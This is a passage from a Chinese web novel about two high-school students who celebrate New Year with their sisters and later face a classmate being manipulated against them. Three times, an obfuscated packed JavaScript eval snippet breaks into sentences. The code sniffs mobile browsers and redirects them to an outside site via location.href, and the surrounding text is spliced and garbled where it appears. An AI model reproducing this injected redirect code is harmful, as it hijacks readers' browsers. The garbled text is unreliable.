“谢谢大家。”宋未海非常礼貌地颔首,道,“小时候经常给妹妹扎辫子,所以比较熟练……台词的话,一开始,我就把所有人的台词都背下来了。” 大家都知道他在这个节目上专注认真,可做到这个地步却是无人料到的:“啊?!为什么要全部背下来啊?” “因为…….”宋未海很耐心地回答道,“人不是孤立存在的,许多人的命运交织在一起,才能看出彼此的性格底色。” 就像周朴园的强硬自私与鲁侍萍的坚韧隐忍环环相扣,就像周萍的利己软弱与蘩漪的不甘于此相互对照,人的性格不是天生就有定义,而是在碰撞中看见彼此,才能再通过对方看见自己。 有些人的命紧紧相连,少了对方,或许就会觉得不够完整。 “就像——”宋未海看像沈余离,笑道: “就像你,成就我。” 39. 致风动草|五 . 人群熙熙攘攘,沈余离看向宋未海,橙黄色的灯光下他的轮廓被照得模糊,一时间让沈余离有些恍惚。 十二月的蓬山市很冷,冻得人浑身僵硬,但是后台暖气却开得很足,一股一股的暖流冲得人头脑发昏,沈余离能感受到自己的脖颈沁出了汗珠,那一道温柔却炽热的目光穿越人群与她对视,那一刻,她久违地感到幸福。 小祈和方舟都还好好地生活着,她的生命中还多出来了一个重要的人,时间被定格在这一刻,即使是冷风凛冽的寒冬,依然有温暖的火焰包抄而来,被冻土深埋地底的生机,正在一点一点地重新生长。 当澎湃的感觉席卷心头,沈余离大概能理解宋未海那种没来由的焦虑。 这样的感觉就像身处在一个梦境中的童话一样,周围五光十色绚烂多彩,那里永远常青永远四季如春,所有刺激着人感到满足的事物都一并袭来,挽留着、拥抱着、安抚着身处其中的人,只要时间不向前推进,这个梦,就不会醒来。 沈余离想到这儿,深吸了一口气,这样的感觉确实让她觉得美好到不真实,心脏的一块角落,就像被暖气的热度一并烤化了一样。 隔着人流,她动了动唇,无声地比划道:“我也是。” 他的出现,让她漂泊无定的人生中,平添了一分归属的感觉。 . 宋未海排练的节目《雷雨》后来收获了很好的反响,有同伴同学顺势把他们演戏的全程录了下来,上传到网络平台上,还收获了不少的点赞,班主任当时找到宋未海,用有些惊喜的目光看着他:“你这次做得很好,很有才,辛苦了。” 宋未海从小到大除了乖就很少听到别的夸奖,老师的话一时让他有些受宠若惊:“谢谢老师!” “元旦假期好好修整一下,准备期末考吧。”老师微笑着扶了扶眼镜,顺势抽了一堆数学卷子给他,“林老师让我给你的贺礼,他还嘱咐你说给沈余离也复印一份,新年快乐。” 宋未海手捧着老师沉甸甸的心意:“……谢谢老师,我们一定有难同当。” “暧。”老师笑了笑,“好孩子,去吧。” 宋未海就这么带着新年重礼回到教室,“啪”地一下放在桌上,震了沈余离一抖。 她看着堆积如山的数学卷子,咽了口唾沫,久违地展现出害怕的神色:“这不会是……老师要你新发的数学作业吧,我们都有三张卷子和错题整理了!” “好消息,不是给全班发的数学作业。”宋未海呵呵一笑,“坏消息,是给我俩的单独练习。” 说罢,他生怕这个消息不够令人胆寒,又麻木地添上一句:“老林说了,全部都要做完,祝我们新年快乐。” “……”沈余离眨了眨眼,“现在撒旦也有上门拜年的闲情逸致了?” “大概吧。”宋未海生无可恋地低头开始收东西,“毕竟中国文化已经传播到全世界了。” 那堆卷子基本上都是老师从过往卷子中抽出来的基础错题,难度不高,只是有点坑,用来复盘和提高正确率用的,但沈余离对于数学题的记忆只有七秒钟,这满页的错题对她来说和新题无异,约等于布置了几张全新的数学试卷,一想到这儿,沈余离很难对接下来的元旦假期表示期待。 她的搜题软件还有宝宝锁,完成数学作业之日实在是漫漫无绝期。 偏偏很不巧,宋未海这时候冷不丁地插/进来一句话:“对了,小鱼——” 沈余离想也不想:“让我静静。” “对不起,但是……”宋未海往后缩了一下,有些小声道,“我怕现在不说,我后面就不敢说了。” 沈余离察觉到他是真有事情想说,勉强从那种生无可恋的状态中抽身出来,正色道:“怎么了?” “这个元旦我妈要出差,然后我爸要值班,所以元旦家里比较空。”宋未海的声音越说越轻,显得很底气不足,“如果你和小祈愿意的话……要不要我和小雪一起跨年?” 宋未海心里已经想了百八十个被拒绝的理由,但沈余离想也没想就答应了:“好啊。” 宋未海差点以为自己听错了,差点从椅子上跳起来:“真的吗??!” 这时候,方盏好巧不巧从前头转过来:“对了哥我们新年要不要一起——” 宋未海刚要弹射的屁股立马又粘了回去,现在拒绝方盏一些不怀好意的要求,他已经能够从善如流了:“不要,抱歉。”添上后面两个字是他最后的礼貌。 沈余离看热闹不嫌事大,这会儿慢悠悠地补刀,看向宋未海笑道:“明天见。” 宋未海小鸡啄米似地点点头:“嗯嗯!!” 方盏在前面看着这俩一唱一和,一时间感到有点恶寒,等到宋未海要收拾宿舍先走掉时,方盏没忍住呛了沈余离一句:“你给他卖药吃了?调成这样,堪称失智。” “那也比你智商高。”沈余离干脆利落地回敬,“他不合你的意就让你气着了?那你气死吧。” 小姑娘收起书包,往肩上一甩,走到一半又折返回来,一掌拍在方盏的桌上,冲他笑笑:“你知道吗,我的新年愿望就是今年你别出现在我和宋未海的世界里了,明年最好也不要,新年快乐,拜拜。” 这明里暗里就是咒着对方死呢,气得方盏想抄起书打人,可惜他再怎么阴狠,毕竟一介书生,跟沈余离正面打起来,他容易被对方扔出去。 沈余离见方盏敢怒不敢言,心满意足地离开去接沈祈生放学了。 今年的末尾,她再也不是独自一人,虽然并没有那种合家围桌的情形,但此时此刻,新年的定义,对于沈余离来说,有了真实的意义。 . 宋未海约了她两天,31号和1号,他们带着两个妹妹一起去郊外放烟火。 宋未海一开始还怕沈余离在外过夜不愿意,反复强调她跟小祈一个房间,自己晚上绝对不会过来冒昧骚扰,不过沈余离看起来好像并不是很担心这些,等她询问了沈祈生的意见并得到肯定答复后,很爽快就答应了。宋未海后来在城市外环订了一家民宿,一间小别墅加一个空旷的院子,供他们放烟花用。 沈余离和沈祈生一起收了东西,打车抵达民宿,推开门的时候,宋无霜很激动地跳出来抱住沈余离:“姐姐!好久不见——” 沈余离一手拉着行李箱,一手托住半悬空的宋无霜,语气温和:“好久不见了。” 自从上次沈余离把宋未海找回来之后,宋无霜对沈余离的好感就直线上升,一看到沈余离就激动得心脏砰砰直跳,在家里更是缠着宋未海让他早点以身相许以报救命之恩算了,最后以宋未海又羞又气地关紧房门为终。 宋未海在八百米开外的地方就听到了宋无霜的大叫,他赶忙从楼上跑下来,帮沈余离拿走行李,还弯身看了看她身后的沈祈生:“小鱼,行李给我吧,你好啊,小祈。” 沈余离拉着沈祈生的手,让她有人可依,向宋无霜介绍道:“这是我妹妹,沈祈生,你可以叫她小祈。” “喔!”宋无霜人如其名,热情似火,对待新面孔一点也不怯场,“你好啊小祈!” 沈祈生跟着沈余离,很乖地向宋家的两兄妹问好。 “别站门口了,进来吧。”宋未海哈出一口寒气,“外面多冷。” 沈余离点点头,引导着沈祈生跨过台阶走进民宿,与窗外渐暗的天色截然不同,屋内灯火辉煌,橙色的灯光把房屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070335|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的角角落落都照得通明,宋未海提前开好了空调,热风迎面一扑,就驱散了门外的所有寒气。 “像我们之前说好的那样,我没点外卖,来的路上和小雪在菜市场买了些菜。”宋未海非常自觉地帮沈余离把她身上的包一并拿下来,并偏头示意桌上那几大袋肉蛋菜,“小鱼看看还有什么缺的?现在还没过五点,我还可以叫跑腿送。” 当时在商议日程的时候,四个人一致通过不再花钱去外面吃,决定提前买好菜一起下厨。 沈余离和沈祈生没有过这样的体验,在她们那个家尚可以称之为家时,大家也只是随便出去吃顿饭,然后爸妈各刷各的手机,所以姐妹俩有时候听闻那些其乐融融的场景,不免觉得有点虚无和遥远,可当全身都被烘烤得暖融融时,沈余离才明白,为什么那么多人对过年如此向往。 外面大风呼啸,屋里却是一片安宁,她焦头烂额又机警戒备了这么多年,在瑟瑟寒风中独自伫立了这么多年,终于能感受到被冻僵的身体在逐渐回温,一同恢复知觉的,还有她对那些欢喜的瞬间的感受,它们此刻就环绕在她的身边,她与幸福的距离不再隔阂着一堵无法翻越和打破的高墙,现在它伸手,这样的感觉就在身边。 “没事,够了。”沈余离扫了眼袋子里的菜,卷起袖口去洗手,一同去的还有宋未海,沈祈生毕竟眼盲,三个人不敢让她真干太多活,就让她负责把桌上的菜递给宋无霜,宋无霜再倒出来递给沈余离合宋未海,简直就像一条微型流水线。 沈余离一手挑开水龙头开关,水声哗啦,她把菜篮子的菜分了两波,一波自己洗,一波交给宋未海,等洗完了一并焯水去掉苦味,没想到还没过一会儿,宋未海突然扬手把手上的才一甩,大叫了一声然后就要往沈余离双肩上扒—— 沈余离立马察觉危险因素,提高声音警告道:“诶诶诶你的湿手,水没擦干别碰我!” 说时迟那时快,她一手扣住宋未海的手腕,另一只手扶住他的肩膀来稳住他的重心,两个人以一种极其诡异的姿势固定在原地,沈余离一脸莫名其妙地看着他:“你干嘛?菜里埋炸弹了。” 宋未海整个人朝后仰,一只手掐住人中,像是下一秒就要瘫倒到在沈余离怀里:“比炸弹更吓人,你看菜里那条黑色的毛毛虫啊啊啊啊啊啊啊啊——!!!” 他浑身颤抖地指认完敌人,如同大脑受损一般大叫一通,随后又猛地想起自己正在面对的是沈余离,立马又深吸一口气,鲤鱼打挺般地起身:“没事小鱼,你不用怕,我会担当起保护你的责任把它拿走——” 沈祈生状况不明,听到叫声立马蹭地一声站起来:”怎么了怎么了?!” 宋无霜外套一甩冲进来,一脸焦灼:“宋未海把厨房炸了吗?!” 发疯间,菜虫不见踪影,沈余离摆正宋未海,然后面无表情地把虫子包起来扔了,转头一脸无语地看向宋未海:“非要让我在这种大喜日子里怀疑你鬼上身吗?” 宋未海搓了搓脸,崩溃道:“这比鬼还可怕!!” 沈余离把垃圾桶的盖子关上,抬手抽了一张纸擦,宋未海见危险物品已经消失,才好不容易鼓起勇气小碎步上前,伸长脖子,以他能达到的最远安全距离去探查敌情,真当他聚精会神地观察着菜里是否还有其他虫子时,沈余离冰冷的指尖突然覆上他的后颈,幽幽道:“其实我还没有把它扔掉…….” 宋未海被这句话惊得浑身一凛,唰的一声转身,哐当碰到了不少厨具,抽了十张纸不断抹着自己的脖子,崩溃道:“在哪里哪里哪里哪里哪里哪里哪里小鱼求求你了快帮我拿掉它我真的害怕——” “噗。”沈余离不禁莞尔,伸手拍了拍他的头,俏皮道,“逗你的。” 40. 致风动草|六 . “哎我去。”宋未海力气一卸,难得骂了句脏话,捂着心口道,“小鱼,你吓发财我了,这大过年的,不要虐待老年人啊!” “你就比我大几个月,就自称老年人啦。”沈余离笑盈盈地走过去洗菜,没再为难宋未海,“我来洗菜吧,你去把肉切碎然后放调料腌一下。” “好好好。”宋未海听到他不用再面对潜在的毛毛虫大君,不由得松了口气,十分感激地看了眼沈余离,“小鱼,我真的太感动了,我会追随你一辈子的。” 话说出口,宋未海心中一跳,差点抬手打自己的嘴。 他以前喜欢看小说,老是看到评论区有读者在说什么“老师我要一辈子追随你”,直到后面他开始成为博主时,也有人在他的评论区里这么发,以求他加速更新那些学生的日常,看得多了,久而久之宋未海也下意识把这句话当成了口癖,但是现在在这里对着沈余离说出来,就突然多了一层别的意思。 民宿内灯光闪烁,所有的物体都被镀上了一层暖黄的滤镜,不知是暖气作崇还是血液流动的加速,宋未海能感到自己的耳尖在发烫。 人与人之间如萍水相逢,一辈子的承诺太逾矩太自私,也太暧昧。 他明明不知未来走向,不知二人缘分深浅,他觉得自己就像一个伺机而动的强盗,栖居在这悬而未决的命运之中,贪婪又鲁莽地想要拥有她的一生。 “一辈子……吗。”沈余离洗菜的动作没有停,长发垂落,她的表情不明,道,“那真是很长呢,与永远有关的事情,谁也说不准吧。” “对,你说得对。”要不是现在在剁肉,宋未海真的很想摸一下脸或者挠一下头以掩盖尴尬,他的脸红扑扑的,下意识地就要解释,“其实我没有别的意思,就是因为我之前一直在网上看到——” “那就一辈子吧。”沈余离打断他,没有任何迟疑地开口,“我也是这么希望的。” 少女的声音如同琴槌敲击在木琴上时发出的声响,一字一句地蹦出来,又无比清晰地落在空气里。 沈余离没有把他的口头禅当作一句条件反射的调侃,她很认真地听了进去、很认真地思考、又很认真地做了决定,她机械般地把菜折好、洗净再摘出来,放进菜篮里,凑近宋未海时,他能闻到她头上的木质香气:“这样的时刻对我来说很幸福,我也希望它能够变成永远。” 沈余离是学地理的,她知道这颗地球摊开手掌展现给人的财富无穷无尽,冰川侵蚀下千米绝壁的峡湾是珍宝,生物遗体沉积再发生反应后形成的石油是珍宝,太阳辐射被散射后的壮丽夕阳也是珍宝,但是沈余离所求这个世界赐给她的只有目之所及的一方天地,只要她张开双手就能拥抱到爱的人,就算她拥有的物质不过时宇宙中的亿万分之一,她也心满意足,再无他求。 这个世界这么大,大到无数奇观可以在同一时间一并发生,这个世界又这么小,小到她只要和那几个人在一起,就已经足够完整。 沈余离把洗好的韭菜和葱摘出来切成碎段,和进宋未海腌好的肉里,将两个玻璃碗分别交给沈祈生和宋无霜,微笑道:“辛苦你们把肉馅和匀了。” 宋无霜这会儿正无聊得乱转,一听她能帮上忙立马蹦蹦跳跳地跑过来,分了一碗给沈祈生,两个小姑娘一齐坐在桌边,一个奋力如自动搅拌机,一个安静但仔细地一点点转动着筷子,沈余离笑着瞥了一眼有些笨拙,但慢慢摸索着的沈祈生,缓缓开口:“小祈能和一个普通的孩子一样,体验各种各样的活动,其实就是我所希望的,她的人生,不要因为她的眼盲而被限制着就好了。” “你的愿望一定会实现的。”宋未海洗干净了手,又开始打蛋混合蛋白和蛋黄,准备制作经典家常菜之番茄炒蛋,压低声音,“因为有你这样的姐姐,所以不管是哪一世,她都会过得很好的。” “谢谢你,真会说话啊小宋老师。”沈余离弯起眼睛,把切好的猪肉块和打了结的葱扔下锅焯水,宋未海在旁边另起炉灶,架了一口铁锅。 沈余离在等肉煮至发白,趁这个间隙,她凑过来看着宋未海口中的锅,脸颊会因为小幅度的动作而轻蹭一下他的肩膀,可显然沈余离并未察觉,一心只有做出惊艳世界美味的虚心求教:“暧,小宋老师,你会做那种拉丝儿的番茄炒蛋吗,我每次炒这种番茄炒蛋都会把蛋炒得很碎,口感不是很好。” “没有。”不远处的沈祈生听到了,插话进来,“姐姐做饭一直很好吃。” “哎,你也嘴甜。”沈余离回头感谢了妹妹的捧场,随即转头准备认真学习做饭之道。 “会啊。”宋未海平常在家就是当爹又当妈,通过嘴刁妹妹和漫长岁月的千锤百炼之后,做饭甚至都能变成他能为之称道的一项技能了,他抬手倒了小半锅油,将鸡蛋液搅和得更均匀,真的一本正经地教学起来,“这种拉丝的鸡蛋油一定要多,等待会儿油热了,就把鸡蛋放下去炸。” 底下明黄的火焰烧着铁锅,油很快呲啦呲啦地沸腾翻滚起来,宋未海抬手一试热度,随即将鸡蛋液垂直着倒进去,原本还不成型的鸡蛋液碰到热油立马一块一块地鼓起来,晶莹的膨胀处还裹着油光,像一簇簇绽放的金花,很快,鸡蛋的油香叶噼里啪啦地炸开在空气中,沈余离不由得感叹道;“好香!” “是吧,这道菜可是我在我家的成名之作。”宋未海拿了个漏勺,将蛋花捞出来,顺势还不忘提醒沈余离,“你的肉快好了。” “哦哦。”沈余离闻言,将漂浮在白汤上的血沫一一撇去,然后把肉捞出来备用,同时被她一起准备好的还有八角、桂皮和冰糖。 正巧这时,手脚利索的俩小姑娘包好了饺子,整整齐齐地放到厨房里,向她们的哥哥姐姐们展示成果。 沈余离对妹妹,情绪价值一向给得很足,夸完这个夸那个,就差洗干净手在她俩头上挨个薅一下,反观宋未海正忙着研究他的绝活番茄炒蛋,一时没做出什么反应,惹得宋无霜叉腰控诉:“宋未海!你这个人无视我的劳动成果,新的一年,我要和你断绝关系,认沈余离为我的姐姐了!” 沈余离乐了:“可以啊,我挺乐意的。” 宋未海面不改色地把番茄炒出沙:“那真是辛苦小鱼了。” “你这什么意思!”宋无霜就差把宋未海扔进油锅里一起炸了,不过小姑娘古灵精怪的,一动脑筋又很快萌生处坏点子,顺势挽住沈余离,“反正她迟早也是我姐姐!” 此话一出,沈祈生花容失色嘴唇苍白,宋未海满脸通红咬牙切齿。 没有觉得有什么不对的沈余离道:“诶诶诶我的手脏!小心点。” 四个人在厨房上演了无数出堪称春晚小品的闹剧,居然还没把人家民宿的厨房给炸了,也是凑出了两盘饺子三盘菜。 宋无霜平时在家不会做饭,但是喜欢研究小甜水,把百香果橙子柠檬片和雪碧一通捣鼓,倒了四瓶放在桌上。 四个人围桌而坐,宋无霜盯着桌上的红烧肉和番茄炒蛋已经开始流口水了,双眼放光得像一只小泰迪:“哇!好香啊!” 宋未海淡淡地噎她:“注意你的形象。” 宋无霜干脆也不吃了,抄起筷子就想要抽宋未海。 这边在硝烟四起,那边在岁月静好,沈余离拉着沈祈生坐下,这是姐妹俩分别之后在一起过得第一个新年,沈余离紧紧握着沈祈生的手,能感受到她虎口紧绷的神经和掌心的纹路,妹妹的掌心被她捏得发热,却依然没有半分要挣脱的意思,沈祈生的眼瞳颜色很浅,难以从那双眼睛中看出任何的情绪,但此刻,从她弯下的眉梢和嘴角的幅度中,沈余离能察觉到她很开心,不再是为了不扫兴、满足他人虚荣心的那种开心,而是真正发自内心地觉得快乐。 真好。这两个字足以代替千言万语,沉甸甸地压在沈余离的心上。 她觉得这样的生活真好,好像只有这样的情景,才能不负他们千辛万苦来人间走一遭。 “新年快乐。”宋未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073943|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海举起杯子道,“不用被逼着在桌上一句一句说敬酒词的感觉真好。” “新年快乐!”宋无霜没忍住,先抿了一口她调的饮料,再笑着举起杯子,“不用在饭桌上被催写完作业的感觉真好!” “新年快乐。”沈祈生腼腆的笑着,“能和姐姐一起过年,真好。” “新年快乐。”沈余离探身伸手,同一时间,四个人的酒杯在桌子中央碰了一下,轻盈的一声叮咚,宣告着新一年的到来,“我的生命里能遇见你们,真好。” 桌上的饭菜热气扑鼻,宋未海想把盘子往中间摆时,还被烫了一下,有些窘迫地在吹着指尖,宋无霜一边乐不可支地嘲笑她哥一边去看他手上的伤有没有大碍,沈余离在帮妹妹夹饺子,很细心地用筷子把饺子皮分开,扒拉出饺子馅,白色的气体一下子腾升而起,冲得沈祈生下意识抬手挡了下,沈余离看着妹妹,笑笑,帮她把酱油和香油都洒好,递碗给她:“吹吹,小心烫。” 宋无霜见宋未海的手没事,就迫不及待地拿起筷子开吃,一口红烧肉就好吃得她想流泪:“姐姐!你做得红烧肉也太好吃了吧!入口即化软软糯糯的,我都想哭了!” “怎么和做吃播似的。”宋未海给宋无霜抽了张纸,“你稍微慢点儿,别呛着了。” 沈余离照顾完沈祈生,正往自己的碗里调蘸料:“好吃就好,我还担心酱油放多了。” 夕阳已经落山,天色变成了清透又澄澈的蓝,整个蓬山市都像浸泡在一汪深遂的大海中,一眼望去只有被收割干净的田野,偶有狗叫和摩托发动的声音,周围的住户都返乡过年,只有沈余离他们这一间屋子亮着,倘若能从足够高的地方向下俯视,就会觉得他们这间小屋像落入大海的一颗星星,在黑暗中闪动着温暖的光辉。 郊外万籁俱寂,直到砰然绽放的烟花,炸碎了这片土地上长久的宁静。 “哇!!”宋无霜捂着耳朵,兴奋地蹦蹦跳跳,像一只小兔子,“好漂亮!!” 宋未海站在几个姑娘的前头,半跪着摁开打火机,点上引线,又站起来退后几步,一束流光咻地窜上天空,下一秒,无数颗圆润的光珠带着光道向四面八方散开,蓝紫色和橙黄色的光芒交替着从黑夜中迸发,又化作千万颗星点徐徐落下,硫磺的味道刺激着鼻腔,烟花爆炸的声音震耳欲聋,以至于给了人一种大地都在震动的错觉,却让此时的四个人无比的迷恋。 沈余离怕沈祈生害怕,一直站在她身边,烟花照得她脸上五光十色,她偏过头,看向妹妹:“感觉怎么样?” “我感觉……有什么东西在照亮我。”沈祈生伸出手,仿佛下一秒,所有的光芒,都会汇集着降落在她的手中,“好温暖。” “姐姐。”小姑娘抓住沈余离的胳膊,难得的显得有些雀跃,“以后每一年,我们都一起放烟花好不好?” “好。”沈余离深深的看着她,眼瞳中,倒映着万千斑斓色彩,“放一辈子的烟火。” 宋未海转过头时,看到沈余离正在和妹妹讲话,她的眼中难得有放松下来的神色,这一刻是如此的平静,却又无比的令人神往。 “新年快乐!”正趁他发呆时,宋无霜跳上来,凑在他耳边大喊,“新年快乐!哥哥,要和小鱼姐姐也说新年快乐哦!” 宋未海一手扶住活蹦乱跳的宋无霜,防止她摔个狗啃泥,一边垂眸,听着耳边起起落落的轰鸣,淡淡一笑,“好。” 宋无霜方才说话的声音被烟花声盖住了,沈余离听不到,不了,她却像心有灵犀一般地率先转看向宋未海,温声开口:“新年快乐。” “嗯。”宋未海看着沈余离的眼睛,又没来由地想到那一天他在课堂上讲的那句诗—— ——世界剥破,仍如新橙,蘸新雪。 曾经所有的痛苦都在此刻倒退,时光回流,宿命改写,他们都能回到所有故事交织着开始的原点,拥有全新的一生。 想到这儿,他笑:“希望来年,诸事顺利。” 41. 急转直下|一 . “我们晓晓明年就上高三了,祝我们晓晓旗开得胜!” “希望我们晓晓梦想成真!” “考上电影学院!” 碰杯声响起,女孩儿在灯光流转中甜甜地笑着,道:“爸,妈,我跟你们说,就前面吧我们学校迎新晚会,我们班演的那个雷雨,我负责拍摄的,后来我把视频发到网上了,很多人夸我很会拍呢!” “来。”饭桌上,盛晓晓掏出手机,把视频浏览量给父母看,“看!一千多人的浏览,还有好多人评论,虽然也不多吧,但是这是我第一个作品,主要演员们演得也棒——哎,等等?” 盛晓晓的余光瞟到些什么,马上将手机收回来:“有人发私信给我了,你说不会是广告商吧?” “哎,晓晓。”旁边她妈妈一边给她夹蔬菜一边说,“吃完饭再看也不急啊。” “那不行。”盛晓晓眨了眨眼,“机不可失时不再来,万一人家广告商趁着我犹豫的时间找好下家了怎么办?新年到财神到,这个机会我可不能放炮了。” 说罢,那个姑娘向后一仰,开始回私信,不料那人并不是什么广告上,而是叫什么牛油果星探的人,头像还是个挺专业的logo。 -同学,你好,非常抱歉假期打扰,我看了你们的视频,觉得你们视频中“周萍”、“蘩漪”两位演员非常有天赋,容貌也上相,想要联系一下是否有入行意愿,你们是同学吗?想找你了解一下大致情况,下面是我的工作证。 说罢,他发布了一张图片,上面是他的工作岗位和公司印章,码掉了证件照和名字。 牛油果……盛晓晓一直追星,这个公司她好像听说过,还因为名字太过于草台班子而被群嘲过,但拍出来的影片已经上映了好几部,加上有证明和公司盖章,盛晓晓便放下戒心,开始打字回复。 -【小盛夏】:您好,我只是负责拍摄的,是否需要给您他们的联系方式? -【牛油果星探】:我知道这很唐突,但我们在邀请新人入行之前会做背调,防止有黑料爆出,您知道他们俩是否有和其他同学发生过什么矛盾吗?程度呢?过错方是谁? -【小盛夏】:嗯...…这个我不好说呀,就算是矛盾,应该也只是同学拌嘴什么的吧。 对面停顿了一会儿,随即回复。 -【牛油果星探】:没事,我也找你们其他的同学打听过,为了确保信息的真实,不会毫无证据地下定论的,放心。不过,我听你们同学说,蘩漪的这位演员前段时间请假在医院了,可以询问一下原因吗?是否有身体上的缺陷呢? 宋未海请假的事儿当时在班里有传,说是为了帮方盏找镜头才出事的,可惜没什么证据,方盏当时为自己辩解着辩解着还哭了,大家也不好再说什么,这件事还被班主任压了下去,外班的人不知道。 能清楚这么细节的事情,说明对方真的认真找别人打听过了,这也让盛晓晓放下心来和对方交流: -【小盛夏】:哦,他前段时间好像帮一个同学找东西所以出事了,所以住院,如果非要说有矛盾的话,他们两个应该算是吧。 -【牛油果星探】:哦? -【小盛夏】:就是那个演鲁侍萍的男孩子呀。 -【牛油果星探】:好的,谢谢你同学,对了,这件事烦请保密,在正式确认之前,不想打扰当事人,以至于闹得沸沸扬扬。 -【小盛夏】:ok! 对话结束,牛油果星探给她打赏了一个小礼物,盛晓晓又惊又喜,忙不迭地收下了。 . 元旦假期结束。 宋未海哀嚎:“啊!我的数学作业!!” 沈余离趴在桌子上敲着桌子:“去年的作业就让它留在去年吧,旧的不去新的不来啊!” 两个人望着剩下几张空白的数学作业一把鼻涕一把泪,这个时候,正好方盏从前头转过来,他那一瞥,让沈余离立马警惕起来:“你要干——” 啪。 几张写完的卷子被丢在同桌俩的桌上。 沈余离一时哽住:“……” 这是什么骚操作? 以退为进?欲擒故纵? 方盏别过头,犹豫了片刻,有些不自在道:“别被老师发现了。” 沈余离多刚啊,她拿起数学卷子就要还回去:“看不起……” “凭你俩的脑子能在第一节课前写完?”方盏冷嘲热讽,“林老师说了,写不完的滚出去站着上课。” “——看不起林老师怎么行,只为林老师,我也必须完成它的作业。”沈余离的语调一转,十分屈/辱地将数学卷子拿了回来,拿出笔用力地在卷子上戳来戳去,低头对宋未海咬牙切齿道,“就算忍受这种羞/辱。” “没事,大丈夫能屈能伸。”宋未海也拿出自己的空白作业开始屈/辱地抄,用精神胜利法安慰自己和沈余离,“大小姐也是。” 两个人秉持着为了生存谁也没办法的态度抄完了方盏的数学作业,最后沈余离把三个人的数学作业打乱顺序交上去,路过方盏的时候,很不情不愿地来了一句:“谢了。” 方盏凉凉道:“呵。” 沈余离:“…….“ 她不是忘恩负义的人,她忍!! 虽然方盏之前干得不是人事儿,但不得不说,这下确实是救了宋未海和沈余离一命,第一节数学课,新年第一课,阎王爷就开始钦点生死簿,让全班人站起来,念到名字的再一个个坐下去,那些站着的没写作业的,被林老师以吼,全部都滚到走廊里抄题写数学作业。 把人全都轰出去了,林老师这才拿起教案,冷冷地扫了一眼难兄难妹的宋未海和沈余离,冷冷道:”有些同学虽然稍有落后,但至少人家态度端正,假期也会认真写数学作业,不想某些同学,自己以为自己数学很好了吗?!导数题解出来了没,放假前的小测lnx求导竟然还能写错!” “稍有落后但态度端正”的宋未海和沈余离不约而同地抖了抖肩膀,连大气都不敢喘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“哎。”沈余离想来想去还是不放心,准备跟着宋未海一起去,万一方盏真的丧心病狂到找人滴滴代砍呢,她也好拉着宋未海赶紧跑啊,“别急别急,等等我。” 放学到晚自习的这个期间是走读生回家的时间,住宿生也是被允许出校门的,见沈余离和宋未海一前一后地离开了,方盏也收拾好东西,慢吞吞地跟在他后面,不料刚一出校门,就有一双手拉住他,对方的力量不容抗拒,还没等方盏反应过来,那人就直接把他拉进饿了角落。 方盏猛地抬头,刚要大叫:“你——!” “嘘!小点声儿!”来人竖起食指,示意方盏噤声,“你是方盏同学吗?” 方盏一挑眉,没讲话,打算看看这人葫芦里卖的是什么药。 “我听说,自从你转到蓬山三中,宋未海和沈余离就一直在欺负你,甚至还冤枉你,受了这么多委屈,你不打算反击回去吗?”来人双手背着,俯下身,笑容狠毒如同蟒蛇,引诱着人们吞下禁果,“你想不想,彻底毁掉他们?” 42. 急转直下|二 . 方盏闻言,几乎是扭头就走。 那人在后面“喂”了一声,扬声叫住他:“你真的不再考虑一下了?” 方盏停下脚步,他垂下头,随即淡声道:“从此以后,他与我无关了。” “真的与你无关了?是你真的释怀了,还是连你都害怕麻烦了?”那人靠在墙上,似乎并不害怕方盏转身离开,慢悠悠地开口,“上一世的时候,你可不是这么说的,你难道忘了宋未海是怎么对你的?让你的生活变得怎么样的翻天覆地?他现在楚楚可怜地获得着别人的怜悯,你不觉得他恶心吗?” “教训,我在那座山上时就已经给过了。”方盏没回头,平时前方,没有丝毫退让的意思,“之前山上的事情,我后来被盘问和议论了很久,我已经受够了……算了,无所谓了,让我过我自己的生活吧。” “你还在意这些盘问吗?”那人走到方盏身后,俯身,凑在他耳边道,“你明明都杀死他了。” “我没有杀他!”方盏猛地转过头,双目猩红,因为顾及着周围有人,他只能压低声音怒吼,“你他妈的……到底是谁?” “宋未海是因为车祸而死的。”来人没有回答方盏的问题,只是看似漫不经心地把玩着手中的车钥匙,调笑道,“他应该到现在都不知道,当时那辆车的司机,是你吧。” “我没有要害死他!”方盏大步上前,一把抓住那人的领子,用力到浑身都在颤抖,“当时我是想要去找他,我看他要上车走了我才着急,开快了,我没有……” 方盏抱着头,用力地摇晃着,眼中布满了鲜红色的血丝,酸涩的眼泪,正在不断下落。 他沙哑开口:“我没有想害死我哥。” “你想不想,有那么重要吗?”那人并没有反抗,任由方盏紧紧攥住他的衣领,从容地微笑道,“反正他都因为你而死了,你敢说在那座山上,你没有想要害死宋未海吗?” “我没有!”方盏险些破了音,又因周围投来的目光而勉强克制住自己,松开那人,“我当时……我当时只是害怕,所以想让他去……我觉得他顶多有些小磕小碰,谁能想到他会蠢到迷路!” 